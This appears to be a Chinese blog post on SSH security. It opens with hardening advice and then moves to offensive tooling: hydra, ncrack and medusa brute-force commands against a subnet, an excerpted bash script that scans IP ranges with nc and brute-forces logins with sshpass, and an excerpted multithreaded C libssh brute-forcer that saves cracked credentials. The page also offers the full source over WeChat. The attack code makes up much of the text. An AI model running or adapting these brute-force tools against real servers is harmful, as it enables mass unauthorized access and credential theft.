Secure Shell(安全外壳协议,简称SSH)是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全的传输环境。SSH通过在网络中建立安全隧道来实现SSH客户端与服务器之间的连接。
为什么需要SSH
如果没有SSH,绝大多数网络管理员将无法完成他们的工作。SSH协议取代了Telnet和FTP等不安全的机制,成为远程访问和管理的事实标准。SSH不仅确保了网络和系统之间交换的数据的机密性和完整性,而且还实现了基于公钥的身份验证。
但是,SSH的默认安装并不一定安全。而且,如果管理员不遵循最佳实践,SSH可能会使网络容易受到各种攻击。让我们研究一下安全管理员应该在策略和过程中写入的关键SSH最佳实践,以确保其组织的SSH安装是安全的。
SSH相关信息收集
黑客不断扫描SSH服务器,并试图强行使用用户名和密码。因此,强制使用强密码并明确禁止使用空密码的帐户进行远程登录至关重要。使用开源的开膛手约翰工具来查找任何现有的弱密码。然而,最好的选择是完全禁用服务器密码身份验证,只允许基于密钥的身份验证。此外,用户登录时需要两步验证。创建私钥时,请使用强密码短语对其进行保护。
遵循最低特权原则;在确定允许谁使用SSH以及如何使用SSH时,这一点至关重要。将SSH登录限制为仅需要远程访问的用户,并确保这些用户仅具有执行其负责的任务所需的权限。始终禁用root用户登录SSH,而是将管理员添加到sudo组,以便他们可以作为常规用户登录,并使用su命令作为root用户执行命令。此外,设置一个空闲超时间隔以避免出现无人参与的SSH会话——一旦超过该间隔,非活动用户将自动注销。
定期修补所有SSH服务器,以确保它们运行的是最新的软件,并且使用SSH-2安全性。SSH-2提供了比SSH-1更好的安全性,而SSH-1已不再被几个合规标准所允许。禁用SSH端口转发,因为这打开了未经批准的通信避免检测的可能性,因为它们是通过加密的SSH连接操作的。
将SSH从标准端口22上的侦听更改为另一个未使用的端口有一点好处。这种默默无闻的安全性将避免业余黑客的自动扫描,但不会欺骗发现SSH服务器的严重尝试。无论SSH在哪个端口上运行,都要强制执行速率限制,以便对传入连接执行简单的限制。设置每个连接允许的最大身份验证尝试次数的下限,以防止暴力攻击。SSH端口永远不应向外部不受信任的连接打开,因此请确保在防火墙处将连接筛选为允许的IP地址,并配置外围防御以登录并阻止从同一IP地址登录的重复尝试。端口敲击可以增加另一层保护。这种SSH最佳实践技术依赖于防火墙规则,只允许知道“秘密敲门”的用户通过执行一系列称为敲门序列的连接尝试,通过特定端口进入网络。这可以防止攻击者对系统进行端口扫描以查找可能被利用的服务。如果没有正确的爆震顺序,受保护的端口将显示为关闭状态。另一种可能性是强制使用堡垒主机,以便自动阻止所有其他传入的SSH连接。
在向互联网公开SSH服务器之前,上述步骤是必不可少的。一旦上线,就部署持续的监控和审核。监视SSH登录和活动以检测任何异常活动。定期进行审核,以发现运行SSH的服务器的新实例,并检测对配置设置的任何未经批准的更改。这将防止影子或不安全的SSH服务增加网络的攻击面。有几种工具可以使这一过程自动化,如下所述。
使用SSH风险评估工具来管理组织IT基础架构中可能存在的大量SSH密钥。这些工具扫描网络中的SSH服务器,然后读取配置文件,以提取每个密钥的确切位置和使用情况。他们还测试配置中的弱点。这确保了所有密钥都处于主动管理之下,并且每个密钥只与一个单独的或设备相关联。另一项重要的关键管理任务是关键轮换。这涉及到定期生成新密钥,以便在很长一段时间内不会使用相同的密钥。
常见的扫描SSH服务器
出于管理目的,SSH经常被使用。几乎所有IT人员都知道。关键词:OpenSSH,只需在机器上使用“ssh<hostname>”,用户名+密码或公钥身份验证,TCP端口22。
然而,如果你仔细研究细节,它会变得更加复杂。你必须处理许多不同类型和表示的指纹,以及加密算法。对特定的连接问题进行故障排除具有挑战性。
要获得SSH服务器配置的概述,需要使用适当的工具对其进行扫描。例如:ssh_scan和Nmap工具.
使用ssh_scan的语法如下:
ssh_scan -t ip地址
ssh_scan -t 主机名
nmap工具使用-p参数指定要探测的端口号,-sV探测端口对应的服务版本信息,x.x.x.x为要探测的目标IP
nmap -p 22 -sV x.x.x.x
这只是查看SSH服务器的第一步。如果必须对连接错误进行故障排除,则必须对其进行深入的捕获和分析。但是,如果您想知道哪些协议、密钥等等是可能的,那么这些SSH扫描仪可以做得很好。
常见的暴力攻击工具
使用到的工具主要包括 hydra、ncrack、Medusa等等,这些工具默认在 kali 上已经安装,可以直接使用
hydra -C userpasswdfile 192.168.1.0/24 ssh
ncrack -p 22 -U userfile -P passwdfile 192.168.1.0/24
medusa -C userpasswdfile -h 192.168.1.0/24 -M ssh
SSH多线程扫描和暴力攻击
...
scan() {
dependencies
...
default_port=22
read -e -p $'\e[1;37m[::] Port to scan\e[0m \e[91m(Default 22):\e[0m ' port
port="${port:-${default_port}}"
default_threads=100
read -e -p $'\e[1;37m[::] Numbers of Threads to scan \e[91m(Default 100):\e[0m \e[0m' threads
threads="${threads:-${default_threads}}"
rm -rf targets
for x in $(seq $r1);do for y in $(seq $r2);do for z in $(seq $r3);do for w in $(seq $r4);do
printf "%s.%s.%s.%s\n" $x $y $z $w >> targets
done done done done
rm -rf logip;
count_target=$(wc -l targets | cut -d " " -f1)
printf "\e[1;92m[*] Targets:\e[0m\e[1;77m %s\e[0m\n" $count_target
printf "\e[1;92m[*] Starting scanner...\e[0m\n"
sleep 2
count=0
startline=1
endline="$threads"
while [ $((count+1)) -lt $count_target ]; do
for target in $(sed -n ''$startline','$endline'p' targets); do
let count++
printf "\e[1;93mScanning target:\e[0m\e[77m %s \e[0m\e[1;93m(\e[0m\e[77m%s\e[0m\e[1;93m/\e[0m\e[77m%s\e[0m\e[1;93m)\e[0m\n" $target $count $count_target
{(trap ''SIGINT && check=$(nc $target $port -v -z -w5 > /dev/null 2>&1; echo $?); if [[ $check == "0" ]]; then echo $target >> logip; fi; ) } & done; wait $!;
let startline+=$threads
let endline+=$threads
done
...
default_brute="Y"
read -p $'\e[1;92m[?] Start Brute Forcer?\e[0m\e[1;77m [Y/n]\e[0m' brute
brute="${brute:-${default_brute}}"
if [[ "$brute" == "Y" || "$brute" == "y" || "$brute" == "yes" || "$brute" == "Yes" ]]; then
bruteforcer
else
exit 1
fi
else
printf "\e[1;91m[!] No IPs Found in this range!\e[0m\n"
exit 1
fi
}
...
bruteforcer() {
...
fi
default_port=22
read -p $'\e[1;92m[::] Port \e[0m\e[77m(Default 22): \e[0m' port
port="${port:-${default_port}}"
default_user="usernames"
default_pass="passwords"
read -p $'\e[1;92m[::] Usernames list \e[0m\e[77m(Hit Enter to Default list): \e[0m' wl_user
wl_user="${wl_user:-${default_user}}"
read -p $'\e[1;92m[::] Passwords list \e[0m\e[77m(Hit Enter to Default list): \e[0m' wl_pass
wl_pass="${wl_pass:-${default_pass}}"
...
for ip in $(sed -n ''$start','$end'p' $ip_list); do
IFS=$'\n'
nip=$(grep -n -x "$ip" "$ip_list" | cut -d ":" -f1)
printf "\e[1;93mTrying IP:\e[0m\e[77m %s (%s/%s)\e[0m\e[1;93m User:\e[0m\e[77m %s\e[0m\e[1;93m Pass:\e[0m\e[77m %s\e[0m\n" $ip $nip $count_ip $user $password
{(trap ''SIGINT && check=$(sshpass -p "$password" ssh -o StrictHostKeyChecking=no "$user"@"$ip" -p $port uname -a 2> /dev/null | grep -c "0" ); if [[ $check == "1" ]]; then printf "\e[1;92m\n\n[*] Found! IP:\e[0m\e[1;77m %s\e[0m,\e[1;92m User:\e[0m\e[1;77m %s\e[0m\e[1;92m Password:\e[0m\e[1;77m %s\n\n\e[0m" $ip $user $password ; sshpass -p "$password" ssh -o StrictHostKeyChecking=no "$user"@"$ip" -p $port uname -a ; kill -1 $$; fi ) } & done done; wait $!;
sleep 4
done
let start++
let end++
done
printf "\e[1;91m[!] No credentials found!\e[0m\n"
exit 1
}
运行结果
If you need the complete source code, please add the WeChat number (c17865354792)
Linux下C/C++ 多线程SSH扫描与暴力攻击
...
int ConnectSSH(uint32_t ipaddr, char* user, char *passwd)
{
...
// Open session and set options
my_ssh_session = ssh_new();
if (my_ssh_session == NULL)
return return_val;
...
// Connect to server
rc = ssh_connect(my_ssh_session);
if (rc != SSH_OK)
{
ssh_free(my_ssh_session);
return return_val;
}
rc = ssh_userauth_password(my_ssh_session, NULL, passwd);
if (rc != SSH_AUTH_SUCCESS)
{
if (verbose) fprintf(stderr, ANSI_COLOR_BOLD"[%s]"ANSI_COLOR_ENDC"Error authenticating with user:%s pass: %s, %s\n",ip2str(ipaddr),user,passwd,ssh_get_error(my_ssh_session));
ssh_disconnect(my_ssh_session);
ssh_free(my_ssh_session);
return return_val;
}else if(rc == SSH_AUTH_SUCCESS)
{
printf(ANSI_COLOR_BOLD"[%s]"ANSI_COLOR_ENDC" Succeed with user:%s pass:%s\n",ip2str(ipaddr),user,passwd);
FILE *f = fopen("valid_credentials", "a");
fprintf(f, "[%s][%s:%s]\n",ip2str(ipaddr),user,passwd);
fclose(f);
return_val=1;
}
...
}
void checkSSH(void *context)
{
...
for(j=0;j<targs->wlen;j++)
{
char user[MAX_WORD_SIZE];
char passwd[MAX_WORD_SIZE];
int result = 0;
result = sscanf(targs->wtable[j], "%128[^,],%s", user,passwd);
if(result<0)
{
printf("Error splitting user and password from user,password file.\n");
break;
}
...
int res = ConnectSSH(targs->ipadrr, user, passwd);
if(res>0) targs->solution=j+1;
}
}
...
int main(int argc, char ** argv)
{
...
while ((c = getopt (argc, argv, "hvp:t:s:")) != -1)
switch (c)
{
case 'h':
help();
exit(0);
break;
case 'v':
verbose = 1;
break;
case 'p':
port = atoi(optarg);
break;
case 't':
nproc = atoi(optarg);
break;
case 's':
timeout = atol(optarg);
break;
}
if(argc-optind!=2){
help();
exit(0);
}
ssh_threads_set_callbacks(ssh_threads_get_pthread());
ssh_init();
threadpool thpool = thpool_init(nproc);
...
if(parseSubnet(argv[optind + 1], &ip_addr,&prefix)<0)
{
printf("Error reading subnet: %s, format must be X.X.X.X/S\n",argv[2]);
exit(-1);
}
if(prefix>32)
{
printf("Error, mask too big: %d\n",prefix);
exit(-1);
}
nhosts = pow(2,32 - prefix);
if(nhosts!=0){
printf("IP subnet %s/%d has %d hosts\n", ip2str(ip_addr), prefix, nhosts);
}else{
printf("Trying with %s\n", ip2str(ip_addr));
}
fp = fopen(argv[optind], "r");
while(fgets(buff, MAX_WORD_SIZE, (FILE*)fp)!=NULL) wlen++;
printf("password-user file \"%s\" has %d combinations\n",argv[optind],wlen);
fclose(fp);
if (verbose) printf("Reading password-user file\n");
char *words[wlen];
fp = fopen(argv[optind], "r");
unsigned int index = 0;
while(fgets(buff, MAX_WORD_SIZE, (FILE*)fp)!=NULL)
{
words[index] = (char *) malloc(strlen(buff));
memcpy(words[index],buff,strlen(buff)-1);
index++;
}
fclose(fp);
thread_arg_t targs[nhosts];
if(nhosts!=0)
{
for(n=0;n<nhosts;n++)
{
targs[n].ipadrr = ip_addr + htonl(n);
targs[n].wlen = wlen;
targs[n].wtable = words;
targs[n].solution = -1;
thpool_add_work(thpool, (void*)checkSSH, (void*)&targs[n]);
}
}
else
{
thread_arg_t targs;
targs.ipadrr = ip_addr;
targs.wlen = wlen;
targs.wtable = words;
targs.solution = -1;
thpool_add_work(thpool, (void*)checkSSH, (void*)&targs);
}
thpool_wait(thpool);
thpool_destroy(thpool);
printf("Done\n");
uint32_t autenticated = 0;
for(n=0;n<nhosts;n++)
{
if(targs[n].solution!=-1) autenticated++;
}
...
}
运行结果:
If you need the complete source code, please add the WeChat number (c17865354792)
总结
SSH是提高安全性的关键管理工具,只要SSH服务器的部署和管理受SSH最佳实践的约束,以防止黑客将这些服务器用作网络后门。针对不安全和配置不当的SSH服务器的攻击正在变得普遍。更新SSH相关的策略和过程,以将安全性嵌入到协议的部署和使用中。
Welcome to follow WeChat official account【程序猿编码】